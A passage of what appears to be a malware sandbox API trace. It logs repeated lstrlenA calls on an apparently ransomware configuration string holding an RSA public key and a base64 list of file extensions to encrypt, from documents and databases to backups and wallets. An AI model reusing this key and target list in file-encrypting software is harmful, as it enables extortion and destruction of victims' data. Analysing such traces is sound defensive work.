ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg